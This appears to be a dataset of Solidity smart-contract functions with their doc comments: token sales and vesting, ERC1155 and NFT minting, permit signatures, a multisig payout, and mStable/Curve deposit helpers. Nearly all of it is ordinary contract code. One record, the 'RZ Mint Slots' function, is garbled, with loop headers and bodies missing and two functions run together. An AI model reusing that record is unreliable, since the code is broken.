_curveMetapool.remove_liquidity_one_coin(_amount, 1, 0);\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Changes the the ProcessingThreshold\n * @param _cooldown Cooldown in seconds\n * @param _mintThreshold Amount of MIM necessary to mint immediately\n * @param _redeemThreshold Amount of Butter necessary to mint immediately\n * @dev The cooldown is the same for redeem and mint batches\n */", "function_code": "function setProcessingThreshold(\n uint256 _cooldown,\n uint256 _mintThreshold,\n uint256 _redeemThreshold\n ) public onlyRole(DAO_ROLE) {\n ProcessingThreshold memory newProcessingThreshold = ProcessingThreshold({\n batchCooldown: _cooldown,\n mintThreshold: _mintThreshold,\n redeemThreshold: _redeemThreshold\n });\n emit ProcessingThresholdUpdated(processingThreshold, newProcessingThreshold);\n processingThreshold = newProcessingThreshold;\n }", "version": "0.8.1"} {"comment": "/**\n * @notice sets slippage for mint and redeem\n * @param _mintSlippage amount in bps (e.g. 50 = 0.5%)\n * @param _redeemSlippage amount in bps (e.g. 50 = 0.5%)\n */", "function_code": "function setSlippage(uint256 _mintSlippage, uint256 _redeemSlippage) external onlyRole(DAO_ROLE) {\n require(_mintSlippage <= 200 && _redeemSlippage <= 200, \"slippage too high\");\n Slippage memory newSlippage = Slippage({ mintBps: _mintSlippage, redeemBps: _redeemSlippage });\n emit SlippageUpdated(slippage, newSlippage);\n slippage = newSlippage;\n }", "version": "0.8.1"} {"comment": "// Assign tokens to investor with locking period", "function_code": "function assignToken(address _investor,uint256 _tokens) external {\r\n // Tokens assigned by only Angel Sales,PE Sales,Founding Investor and Initiator Team wallets\r\n require(msg.sender == walletAddresses[0] || msg.sender == walletAddresses[1] || msg.sender == walletAddresses[2] || msg.sender == walletAddresses[3]);\r\n\r\n // Check investor address and tokens.Not allow 0 value\r\n require(_investor != address(0) && _tokens > 0);\r\n // Check wallet have enough token balance to assign\r\n require(_tokens <= balances[msg.sender]);\r\n \r\n // Debit the tokens from the wallet\r\n balances[msg.sender] = safeSub(balances[msg.sender],_tokens);\r\n\r\n // Assign tokens to the investor\r\n if(msg.sender == walletAddresses[0] || msg.sender == walletAddresses[1]){\r\n walletAngelPESales[_investor] = safeAdd(walletAngelPESales[_investor],_tokens);\r\n }\r\n else if(msg.sender == walletAddresses[2] || msg.sender == walletAddresses[3]){\r\n walletFoundingInitiatorSales[_investor] = safeAdd(walletFoundingInitiatorSales[_investor],_tokens);\r\n }\r\n else{\r\n revert();\r\n }\r\n }", "version": "0.4.24"} {"comment": "// For wallet Angel Sales and PE Sales", "function_code": "function getWithdrawableAmountANPES(address _investor) public view returns(uint256) {\r\n require(startWithdraw != 0);\r\n // interval in months\r\n uint interval = safeDiv(safeSub(now,startWithdraw),30 days);\r\n // total allocatedTokens\r\n uint _allocatedTokens = safeAdd(walletAngelPESales[_investor],releasedAngelPESales[_investor]);\r\n // Atleast 6 months\r\n if (interval < 6) { \r\n return (0); \r\n } else if (interval >= 6 && interval < 12) {\r\n return safeSub(getPercentageAmount(25,_allocatedTokens), releasedAngelPESales[_investor]);\r\n } else if (interval >= 12 && interval < 18) {\r\n return safeSub(getPercentageAmount(50,_allocatedTokens), releasedAngelPESales[_investor]);\r\n } else if (interval >= 18 && interval < 24) {\r\n return safeSub(getPercentageAmount(75,_allocatedTokens), releasedAngelPESales[_investor]);\r\n } else if (interval >= 24) {\r\n return safeSub(_allocatedTokens, releasedAngelPESales[_investor]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// For wallet Founding Investor and Initiator Team", "function_code": "function getWithdrawableAmountFIIT(address _investor) public view returns(uint256) {\r\n require(startWithdraw != 0);\r\n // interval in months\r\n uint interval = safeDiv(safeSub(now,startWithdraw),30 days);\r\n // total allocatedTokens\r\n uint _allocatedTokens = safeAdd(walletFoundingInitiatorSales[_investor],releasedFoundingInitiatorSales[_investor]);\r\n // Atleast 24 months\r\n if (interval < 24) { \r\n return (0); \r\n } else if (interval >= 24) {\r\n return safeSub(_allocatedTokens, releasedFoundingInitiatorSales[_investor]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Sale of the tokens. Investors can call this method to invest into ITT Tokens", "function_code": "function() payable external {\r\n // Allow only to invest in ICO stage\r\n require(startStop);\r\n\r\n //Sorry !! We only allow to invest with minimum 0.5 Ether as value\r\n require(msg.value >= (0.5 ether));\r\n\r\n // multiply by exchange rate to get token amount\r\n uint256 calculatedTokens = safeMul(msg.value, tokensPerEther);\r\n\r\n // Wait we check tokens available for assign\r\n require(balances[ethExchangeWallet] >= calculatedTokens);\r\n\r\n // Call to Internal function to assign tokens\r\n assignTokens(msg.sender, calculatedTokens);\r\n }", "version": "0.4.24"} {"comment": "// Function will transfer the tokens to investor's address\n// Common function code for assigning tokens", "function_code": "function assignTokens(address investor, uint256 tokens) internal {\r\n // Debit tokens from ether exchange wallet\r\n balances[ethExchangeWallet] = safeSub(balances[ethExchangeWallet], tokens);\r\n\r\n // Assign tokens to the sender\r\n balances[investor] = safeAdd(balances[investor], tokens);\r\n\r\n // Finally token assigned to sender, log the creation event\r\n Transfer(ethExchangeWallet, investor, tokens);\r\n }", "version": "0.4.24"} {"comment": "// Transfer `value` ITTokens from sender's account\n// `msg.sender` to provided account address `to`.\n// @param _to The address of the recipient\n// @param _value The number of ITTokens to transfer\n// @return Whether the transfer was successful or not", "function_code": "function transfer(address _to, uint _value) public returns (bool ok) {\r\n //validate receiver address and value.Not allow 0 value\r\n require(_to != 0 && _value > 0);\r\n uint256 senderBalance = balances[msg.sender];\r\n //Check sender have enough balance\r\n require(senderBalance >= _value);\r\n senderBalance = safeSub(senderBalance, _value);\r\n balances[msg.sender] = senderBalance;\r\n balances[_to] = safeAdd(balances[_to], _value);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Creates a new token type and assigns _initialSupply to an address\r\n * NOTE: remove onlyOwner if you want third parties to create new tokens on your contract (which may change your IDs)\r\n * @param _initialOwner address of the first owner of the token\r\n * @param _initialSupply amount to supply the first owner\r\n * @param _uri Optional URI for this token type\r\n * @param _data Data to pass if receiver is contract\r\n * @return The newly created token ID\r\n */", "function_code": "function create(\r\n address _initialOwner,\r\n uint256 _initialSupply,\r\n string calldata _uri,\r\n bytes calldata _data\r\n ) external onlyOwner returns (uint256) {\r\n\r\n uint256 _id = _getNextTokenID();\r\n _incrementTokenTypeId();\r\n creators[_id] = msg.sender;\r\n\r\n if (bytes(_uri).length > 0) {\r\n emit URI(_uri, _id);\r\n }\r\n\r\n _mint(_initialOwner, _id, _initialSupply, _data);\r\n tokenSupply[_id] = _initialSupply;\r\n return _id;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Mint tokens for each id in _ids\r\n * @param _to The address to mint tokens to\r\n * @param _ids Array of ids to mint\r\n * @param _quantities Array of amounts of tokens to mint per id\r\n * @param _data Data to pass if receiver is contract\r\n */", "function_code": "function batchMint(\r\n address _to,\r\n uint256[] memory _ids,\r\n uint256[] memory _quantities,\r\n bytes memory _data\r\n ) public {\r\n for (uint256 i = 0; i < _ids.length; i++) {\r\n uint256 _id = _ids[i];\r\n require(creators[_id] == msg.sender, \"ERC1155Tradable#batchMint: ONLY_CREATOR_ALLOWED\");\r\n uint256 quantity = _quantities[i];\r\n tokenSupply[_id] += quantity;\r\n }\r\n _batchMint(_to, _ids, _quantities, _data);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.\r\n */", "function_code": "function isApprovedForAll(\r\n address _owner,\r\n address _operator\r\n ) public view returns (bool isOperator) {\r\n // Whitelist OpenSea proxy contract for easy trading.\r\n ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);\r\n if (address(proxyRegistry.proxies(_owner)) == _operator) {\r\n return true;\r\n }\r\n\r\n return ERC1155.isApprovedForAll(_owner, _operator);\r\n }", "version": "0.5.12"} {"comment": "// if accidentally other token was donated to Project Dev", "function_code": "function sendTokenAw(address StandardTokenAddress, address receiver, uint amount){\r\n\t\tif (msg.sender != honestisFort) {\r\n\t\tthrow;\r\n\t\t}\r\n\t\tsendTokenAway t = transfers[numTransfers];\r\n\t\tt.coinContract = StandardToken(StandardTokenAddress);\r\n\t\tt.amount = amount;\r\n\t\tt.recipient = receiver;\r\n\t\tt.coinContract.transfer(receiver, amount);\r\n\t\tnumTransfers++;\r\n\t}", "version": "0.4.21"} {"comment": "// removed isValidData(_data) modifier since this function is also called from SentEnoughEther modifier\n// _data is checked in parent functions! not checked here!", "function_code": "function getPrice(\n MintData memory _data\n )\n public\n view\n returns (uint256)\n {\n uint256 price = 0;\n uint8 _tokenStyle = _data.tokenStyle;\n\n // there is a discount to the first DISCOUNT_MINT_MAX STYLE_JAWS mints during WhitelistSale\n // this check intentionally allows a single overbuy at the end of discounted sale. Without this,\n // we would require a permint mint quantity to proceed with undiscounted minted. This could\n // be solved with additional complexity, but a couple extra discounted tokens to enable\n // a smooth minting experience is a worthwhile tradeoff\n if( \n ( saleState == State.WhitelistSale ) && \n ( _tokenStyle == STYLE_JAWS ) &&\n ( mintStyle[_tokenStyle].sold < DISCOUNT_MINT_MAX ) // allow a single overbuy at end of discounted sale\n )\n {\n price = mintStyle[_tokenStyle].price - DISCOUNT;\n }\n else\n {\n price = mintStyle[_tokenStyle].price;\n }\n return price;\n }", "version": "0.8.11"} {"comment": "//\n// Does state updates at mint time and on every transfer\n//", "function_code": "function updateVoyagerState(address to, uint256 cvMintIndex) private {\r\n uint256 n_tokens = 0;\r\n if (!_test_chain_mode) {\r\n // Query any n's we hold\r\n n_tokens = n.balanceOf(to);\r\n }\r\n uint256 new_voyage_count = voyage_count[cvMintIndex] + 1;\r\n\r\n string memory trunc_addr = addrToString(to, 3);\r\n\r\n // Track in the circular ring buffer\r\n if (new_voyage_count <= MAX_ADDRESS_HISTORY) {\r\n address_history[cvMintIndex].push(trunc_addr);\r\n } else {\r\n uint256 write_idx = new_voyage_count % MAX_ADDRESS_HISTORY;\r\n address_history[cvMintIndex][write_idx] = trunc_addr;\r\n }\r\n\r\n // Accumulate totals of the N's taking the firs token we find\r\n if (n_tokens > 0) {\r\n uint256 n_id = (n.tokenOfOwnerByIndex(to, 0));\r\n uint256 n_first = n.getFirst(n_id);\r\n n_sum_first[cvMintIndex] += n_first;\r\n }\r\n\r\n voyage_count[cvMintIndex] = new_voyage_count;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Approve `spender` to transfer up to `amount` from `src`\r\n * @dev This will overwrite the approval amount for `spender`\r\n * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)\r\n * @param spender The address of the account which may transfer tokens\r\n * @param rawAmount The number of tokens that are approved (2^256-1 means infinite)\r\n * @return Whether or not the approval succeeded\r\n */", "function_code": "function approve(address spender, uint rawAmount) external returns (bool) {\r\n uint96 amount;\r\n if (rawAmount == uint(-1)) {\r\n amount = uint96(-1);\r\n } else {\r\n amount = safe96(rawAmount, \"Comfi::approve: amount exceeds 96 bits\");\r\n }\r\n\r\n allowances[msg.sender][spender] = amount;\r\n\r\n emit Approval(msg.sender, spender, amount);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Triggers an approval from owner to spends\r\n * @param owner The address to approve from\r\n * @param spender The address to be approved\r\n * @param rawAmount The number of tokens that are approved (2^256-1 means infinite)\r\n * @param deadline The time at which to expire the signature\r\n * @param v The recovery byte of the signature\r\n * @param r Half of the ECDSA signature pair\r\n * @param s Half of the ECDSA signature pair\r\n */", "function_code": "function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {\r\n uint96 amount;\r\n if (rawAmount == uint(-1)) {\r\n amount = uint96(-1);\r\n } else {\r\n amount = safe96(rawAmount, \"Comfi::permit: amount exceeds 96 bits\");\r\n }\r\n\r\n bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));\r\n bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));\r\n bytes32 digest = keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\r\n address signatory = ecrecover(digest, v, r, s);\r\n require(signatory != address(0), \"Comfi::permit: invalid signature\");\r\n require(signatory == owner, \"Comfi::permit: unauthorized\");\r\n require(now <= deadline, \"Comfi::permit: signature expired\");\r\n\r\n allowances[owner][spender] = amount;\r\n\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Transfer `amount` tokens from `src` to `dst`\r\n * @param src The address of the source account\r\n * @param dst The address of the destination account\r\n * @param rawAmount The number of tokens to transfer\r\n * @return Whether or not the transfer succeeded\r\n */", "function_code": "function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {\r\n address spender = msg.sender;\r\n uint96 spenderAllowance = allowances[src][spender];\r\n uint96 amount = safe96(rawAmount, \"Comfi::approve: amount exceeds 96 bits\");\r\n\r\n if (spender != src && spenderAllowance != uint96(-1)) {\r\n uint96 newAllowance = sub96(spenderAllowance, amount, \"Comfi::transferFrom: transfer amount exceeds spender allowance\");\r\n allowances[src][spender] = newAllowance;\r\n\r\n emit Approval(src, spender, newAllowance);\r\n }\r\n\r\n _transferTokens(src, dst, amount);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "// RZ Mint Slots", "function_code": "function availableRZMintSlots() public view returns (uint256) {\r\n\r\n uint256 availableMintSlots = 0;\r\n if (ribonzContract.balanceOf(msg.sender) == 0) {\r\n // If not holding RIBONZ genesis can't get an RZ mint slot\r\n return 0;\r\n }\r\n\r\n uint256[] memory stTokensOfOwner = spacetimeContract.tokensOfOwner(msg.sender);\r\n\r\n \r\n for (uint256 i= 0; i= num_to_mint, \"Need to hold RIBONZ: Genesis and more RIBONZ: Spacetime than mint count\");\r\n console.log('RZ MINT SLOTS', availableSlots);\r\n\r\n // Each special offer mint 'consumes' a spacetime special offer slot\r\n uint256[] memory stTokensOfOwner = spacetimeContract.tokensOfOwner(msg.sender);\r\n \r\n\r\n // Do the mint at discount price!\r\n mintVoyagerzInternal(num_to_mint, mintPriceSpecialOfferForRZHolders);\r\n\r\n uint256 mintSlotsToConsume = num_to_mint;\r\n\r\n //\r\n // Consume the mint slots\r\n //\r\n for (uint256 i= 0; i 0 && (spaceTimeMintSlots[stTokensOfOwner[i]] == 0)) {\r\n spaceTimeMintSlots[stTokensOfOwner[i]] = 1;\r\n mintSlotsToConsume--;\r\n console.log('ST Mint Slot CONSUME', stTokensOfOwner[i]);\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Returns true if `account` is a contract.\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * It is unsafe to assume that an address for which this function returns\r\n * false is an externally-owned account (EOA) and not a contract.\r\n *\r\n * Among others, `isContract` will return false for the following\r\n * types of addresses:\r\n *\r\n * - an externally-owned account\r\n * - a contract in construction\r\n * - an address where a contract will be created\r\n * - an address where a contract lived, but was destroyed\r\n * ====\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\r\n *\r\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\r\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\r\n * constructor.\r\n * ====\r\n */", "function_code": "function isContract(address account) internal view returns (bool) {\r\n // This method relies on extcodesize/address.code.length, which returns 0\r\n // for contracts in construction, since the code is only stored at the end\r\n // of the constructor execution.\r\n\r\n return account.code.length > 0;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev 1. Mints an mAsset and then deposits to SAVE\r\n * @param _bAsset bAsset address\r\n * @param _amt Amount of bAsset to mint with\r\n * @param _stake Add the imUSD to the Savings Vault?\r\n */", "function_code": "function saveViaMint(address _bAsset, uint256 _amt, bool _stake) external {\r\n // 1. Get the input bAsset\r\n IERC20(_bAsset).transferFrom(msg.sender, address(this), _amt);\r\n // 2. Mint\r\n IMasset mAsset_ = IMasset(mAsset);\r\n uint256 massetsMinted = mAsset_.mint(_bAsset, _amt);\r\n // 3. Mint imUSD and optionally stake in vault\r\n _saveAndStake(massetsMinted, _stake);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev 2. Buys mUSD on Curve, mints imUSD and optionally deposits to the vault\r\n * @param _input bAsset to sell\r\n * @param _curvePosition Index of the bAsset in the Curve pool\r\n * @param _minOutCrv Min amount of mUSD to receive\r\n * @param _amountIn Input asset amount\r\n * @param _stake Add the imUSD to the Savings Vault?\r\n */", "function_code": "function saveViaCurve(\r\n address _input,\r\n int128 _curvePosition,\r\n uint256 _amountIn,\r\n uint256 _minOutCrv,\r\n bool _stake\r\n ) external {\r\n // 1. Get the input asset\r\n IERC20(_input).transferFrom(msg.sender, address(this), _amountIn);\r\n // 2. Purchase mUSD\r\n uint256 purchased = curve.exchange_underlying(_curvePosition, 0, _amountIn, _minOutCrv);\r\n // 3. Mint imUSD and optionally stake in vault\r\n _saveAndStake(purchased, _stake);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev 3. Buys a bAsset on Uniswap with ETH then mUSD on Curve\r\n * @param _amountOutMin bAsset to sell\r\n * @param _path Sell path on Uniswap (e.g. [WETH, DAI])\r\n * @param _curvePosition Index of the bAsset in the Curve pool\r\n * @param _minOutCrv Min amount of mUSD to receive\r\n * @param _stake Add the imUSD to the Savings Vault?\r\n */", "function_code": "function saveViaUniswapETH(\r\n uint256 _amountOutMin,\r\n address[] calldata _path,\r\n int128 _curvePosition,\r\n uint256 _minOutCrv,\r\n bool _stake\r\n ) external payable {\r\n // 1. Get the bAsset\r\n uint[] memory amounts = uniswap.swapExactETHForTokens.value(msg.value)(\r\n _amountOutMin,\r\n _path,\r\n address(this),\r\n now + 1000\r\n );\r\n // 2. Purchase mUSD\r\n uint256 purchased = curve.exchange_underlying(_curvePosition, 0, amounts[amounts.length-1], _minOutCrv);\r\n // 3. Mint imUSD and optionally stake in vault\r\n _saveAndStake(purchased, _stake);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice Transfers amount amount of an _id from the _from address to the _to address specified\r\n * @param _from Source address\r\n * @param _to Target address\r\n * @param _id ID of the token type\r\n * @param _amount Transfered amount\r\n * @param _data Additional data with no specified format, sent in call to `_to`\r\n */", "function_code": "function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)\r\n public\r\n {\r\n require((msg.sender == _from) || operators[_from][msg.sender], \"ERC1155#safeTransferFrom: INVALID_OPERATOR\");\r\n require(_to != address(0),\"ERC1155#safeTransferFrom: INVALID_RECIPIENT\");\r\n // require(_amount >= balances[_from][_id]) is not necessary since checked with safemath operations\r\n\r\n _safeTransferFrom(_from, _to, _id, _amount);\r\n _callonERC1155Received(_from, _to, _id, _amount, _data);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)\r\n * @param _from Source addresses\r\n * @param _to Target addresses\r\n * @param _ids IDs of each token type\r\n * @param _amounts Transfer amounts per token type\r\n * @param _data Additional data with no specified format, sent in call to `_to`\r\n */", "function_code": "function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)\r\n public\r\n {\r\n // Requirements\r\n require((msg.sender == _from) || operators[_from][msg.sender], \"ERC1155#safeBatchTransferFrom: INVALID_OPERATOR\");\r\n require(_to != address(0), \"ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT\");\r\n\r\n _safeBatchTransferFrom(_from, _to, _ids, _amounts);\r\n _callonERC1155BatchReceived(_from, _to, _ids, _amounts, _data);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @notice Transfers amount amount of an _id from the _from address to the _to address specified\r\n * @param _from Source address\r\n * @param _to Target address\r\n * @param _id ID of the token type\r\n * @param _amount Transfered amount\r\n */", "function_code": "function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount)\r\n internal\r\n {\r\n // Update balances\r\n balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount\r\n balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount\r\n\r\n // Emit event\r\n emit TransferSingle(msg.sender, _from, _to, _id, _amount);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...)\r\n */", "function_code": "function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)\r\n internal\r\n {\r\n // Check if recipient is contract\r\n if (_to.isContract()) {\r\n bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received(msg.sender, _from, _id, _amount, _data);\r\n require(retval == ERC1155_RECEIVED_VALUE, \"ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE\");\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Minting for whitelisted addresses\r\n *\r\n * Requirements:\r\n * \r\n * Contract must be unpaused\r\n * The presale must be going on\r\n * The caller must request less than the max by address authorized\r\n * The amount of token must be superior to 0\r\n * The supply must not be empty\r\n * The price must be correct\r\n * \r\n * @param amountToMint the number of token to mint\r\n * @param merkleProof for the wallet address \r\n * \r\n */", "function_code": "function whitlistedMinting (uint amountToMint, bytes32[] calldata merkleProof ) external payable isWhitelisted(merkleProof) {\r\n require (!_paused, \"Contract paused\");\r\n require (_presale, \"Presale over!\");\r\n require (amountToMint + balanceOf(msg.sender) <= _maxNftByWallet, \"Requet too much for a wallet\"); \r\n require (amountToMint > 0, \"Error in the amount requested\");\r\n require (amountToMint + totalSupply() <= _maxSupply - _reserved, \"Request superior max Supply\");\r\n require (msg.value >= _price*amountToMint, \"Insuficient funds\");\r\n _mintNFT(amountToMint); \r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Minting for the public sale\r\n *\r\n * Requirements:\r\n * \r\n * The presale must be over\r\n * The caller must request less than the max by address authorized\r\n * The amount of token must be superior to 0\r\n * The supply must not be empty\r\n * The price must be correct\r\n * \r\n * @param amountToMint the number of token to mint\r\n * \r\n */", "function_code": "function publicMint(uint amountToMint) external payable{\r\n require (!_paused, \"Contract paused\"); \r\n require (!_presale, \"Presale on\");\r\n require (amountToMint + balanceOf(msg.sender) <= _maxNftByWallet, \"Requet too much for a wallet\"); \r\n require (amountToMint > 0, \"Error in the amount requested\");\r\n require (amountToMint + totalSupply() <= _maxSupply - _reserved, \"Request superior max Supply\");\r\n require (msg.value >= _price*amountToMint, \"Insuficient funds\");\r\n _mintNFT(amountToMint); \r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @notice Get the balance of multiple account/token pairs\r\n * @param _owners The addresses of the token holders\r\n * @param _ids ID of the Tokens\r\n * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)\r\n */", "function_code": "function balanceOfBatch(address[] memory _owners, uint256[] memory _ids)\r\n public view returns (uint256[] memory)\r\n {\r\n require(_owners.length == _ids.length, \"ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH\");\r\n\r\n // Variables\r\n uint256[] memory batchBalances = new uint256[](_owners.length);\r\n\r\n // Iterate over each owner and token ID\r\n for (uint256 i = 0; i < _owners.length; i++) {\r\n batchBalances[i] = balances[_owners[i]][_ids[i]];\r\n }\r\n\r\n return batchBalances;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Give away attribution\r\n *\r\n * Requirements:\r\n * \r\n * The recipient must be different than 0\r\n * The amount of token requested must be within the reverse\r\n * The amount requested must be supperior to 0\r\n * \r\n */", "function_code": "function giveAway (address to, uint amountToMint) external onlyOwner{\r\n require (to != address(0), \"address 0 requested\");\r\n require (amountToMint <= _reserved, \"You requested more than the reserved token\");\r\n require (amountToMint > 0, \"Amount Issue\");\r\n \r\n uint currentSupply = totalSupply(); \r\n _reserved = _reserved - amountToMint;\r\n for (uint i; i < amountToMint ; i++) {\r\n _safeMint(to, currentSupply + i);\r\n } \r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Return an array of token Id owned by `owner`\r\n */", "function_code": "function getWallet(address _owner) public view returns(uint [] memory){\r\n uint numberOwned = balanceOf(_owner);\r\n uint [] memory idItems = new uint[](numberOwned);\r\n \r\n for (uint i = 0; i < numberOwned; i++){\r\n idItems[i] = tokenOfOwnerByIndex(_owner,i);\r\n }\r\n return idItems;\r\n }", "version": "0.8.1"} {"comment": "// https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage", "function_code": "function approve(\n address payable _destination,\n uint256 _amount\n ) public isMember sufficient(_amount) returns (bool) {\n Approval storage approval = approvals[_destination][_amount]; // Create new project\n\n if (!approval.coinciedeParties[msg.sender]) {\n approval.coinciedeParties[msg.sender] = true;\n approval.coincieded += 1;\n\n emit ConfirmationReceived(msg.sender, _destination, ETHER_ADDRESS, _amount);\n\n if (\n approval.coincieded >= signatureMinThreshold &&\n !approval.transfered\n ) {\n approval.transfered = true;\n\n uint256 _amountToWithhold = _amount.mul(serviceFeeMicro).div(1000000);\n uint256 _amountToRelease = _amount.sub(_amountToWithhold);\n\n _destination.transfer(_amountToRelease); // Release funds\n serviceAddress.transfer(_amountToWithhold); // Take service margin\n\n emit ConsensusAchived(_destination, ETHER_ADDRESS, _amount);\n }\n\n return true;\n } else {\n // Raise will eat rest of gas. Lets not waist it. Just record this approval instead\n return false;\n }\n }", "version": "0.5.9"} {"comment": "// @notice owner can start the sale by transferring in required amount of MYB\n// @dev the start time is used to determine which day the sale is on (day 0 = first day)", "function_code": "function startSale(uint _timestamp)\r\n external\r\n onlyOwner\r\n returns (bool){\r\n require(start == 0, 'Already started');\r\n require(_timestamp >= now && _timestamp.sub(now) < 2592000, 'Start time not in range');\r\n uint saleAmount = tokensPerDay.mul(365);\r\n require(mybToken.transferFrom(msg.sender, address(this), saleAmount));\r\n start = _timestamp;\r\n emit LogSaleStarted(msg.sender, mybitFoundation, developmentFund, saleAmount, _timestamp);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// @notice Send an index of days and your payment will be divided equally among them\n// @dev WEI sent must divide equally into number of days.", "function_code": "function batchFund(uint16[] _day)\r\n payable\r\n external\r\n returns (bool) {\r\n require(_day.length <= 50); // Limit to 50 days to avoid exceeding blocklimit\r\n require(msg.value >= _day.length); // need at least 1 wei per day\r\n uint256 amountPerDay = msg.value.div(_day.length);\r\n assert (amountPerDay.mul(_day.length) == msg.value); // Don't allow any rounding error\r\n for (uint8 i = 0; i < _day.length; i++){\r\n require(addContribution(msg.sender, amountPerDay, _day[i]));\r\n }\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// @notice Updates claimableTokens, sends all wei to the token holder", "function_code": "function withdraw(uint16 _day)\r\n external\r\n returns (bool) {\r\n require(dayFinished(_day), \"day has not finished funding\");\r\n Day storage thisDay = day[_day];\r\n uint256 amount = getTokensOwed(msg.sender, _day);\r\n delete thisDay.weiContributed[msg.sender];\r\n mybToken.transfer(msg.sender, amount);\r\n emit LogTokensCollected(msg.sender, amount, _day);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// @notice Updates claimableTokens, sends all tokens to contributor from previous days\n// @param (uint16[]) _day, list of token sale days msg.sender contributed wei towards", "function_code": "function batchWithdraw(uint16[] _day)\r\n external\r\n returns (bool) {\r\n uint256 amount;\r\n require(_day.length <= 50); // Limit to 50 days to avoid exceeding blocklimit\r\n for (uint8 i = 0; i < _day.length; i++){\r\n require(dayFinished(_day[i]));\r\n uint256 amountToAdd = getTokensOwed(msg.sender, _day[i]);\r\n amount = amount.add(amountToAdd);\r\n delete day[_day[i]].weiContributed[msg.sender];\r\n emit LogTokensCollected(msg.sender, amountToAdd, _day[i]);\r\n }\r\n mybToken.transfer(msg.sender, amount);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// @notice updates ledger with the contribution from _investor\n// @param (address) _investor: The sender of WEI to the contract\n// @param (uint) _amount: The amount of WEI to add to _day\n// @param (uint16) _day: The day to fund", "function_code": "function addContribution(address _investor, uint _amount, uint16 _day)\r\n internal\r\n returns (bool) {\r\n require(_amount > 0, \"must send ether with the call\");\r\n require(duringSale(_day), \"day is not during the sale\");\r\n require(!dayFinished(_day), \"day has already finished\");\r\n Day storage today = day[_day];\r\n today.totalWeiContributed = today.totalWeiContributed.add(_amount);\r\n today.weiContributed[_investor] = today.weiContributed[_investor].add(_amount);\r\n emit LogTokensPurchased(_investor, _amount, _day);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// @notice gets the total amount of mybit owed to the contributor\n// @dev this function doesn't check for duplicate days. Output may not reflect actual amount owed if this happens.", "function_code": "function getTotalTokensOwed(address _contributor, uint16[] _days)\r\n public\r\n view\r\n returns (uint256 amount) {\r\n require(_days.length < 100); // Limit to 100 days to avoid exceeding block gas limit\r\n for (uint16 i = 0; i < _days.length; i++){\r\n amount = amount.add(getTokensOwed(_contributor, _days[i]));\r\n }\r\n return amount;\r\n }", "version": "0.4.25"} {"comment": "// @notice returns true if _day is finished", "function_code": "function dayFinished(uint16 _day)\r\n public\r\n view\r\n returns (bool) {\r\n if (now <= start) { return false; } // hasn't yet reached first day, so cannot be finished\r\n return dayFor(now) > _day;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Implementation of IERC777Recipient.\r\n */", "function_code": "function tokensReceived(\r\n address /*operator*/,\r\n address from,\r\n address to,\r\n uint256 amount,\r\n bytes calldata userData,\r\n bytes calldata /*operatorData*/\r\n ) external override {\r\n address _tokenAddress = msg.sender;\r\n require(supportedTokens.contains(_tokenAddress), \"caller is not a supported ERC777 token!\");\r\n require(to == address(this), \"Token receiver is not this contract\");\r\n if (userData.length > 0) 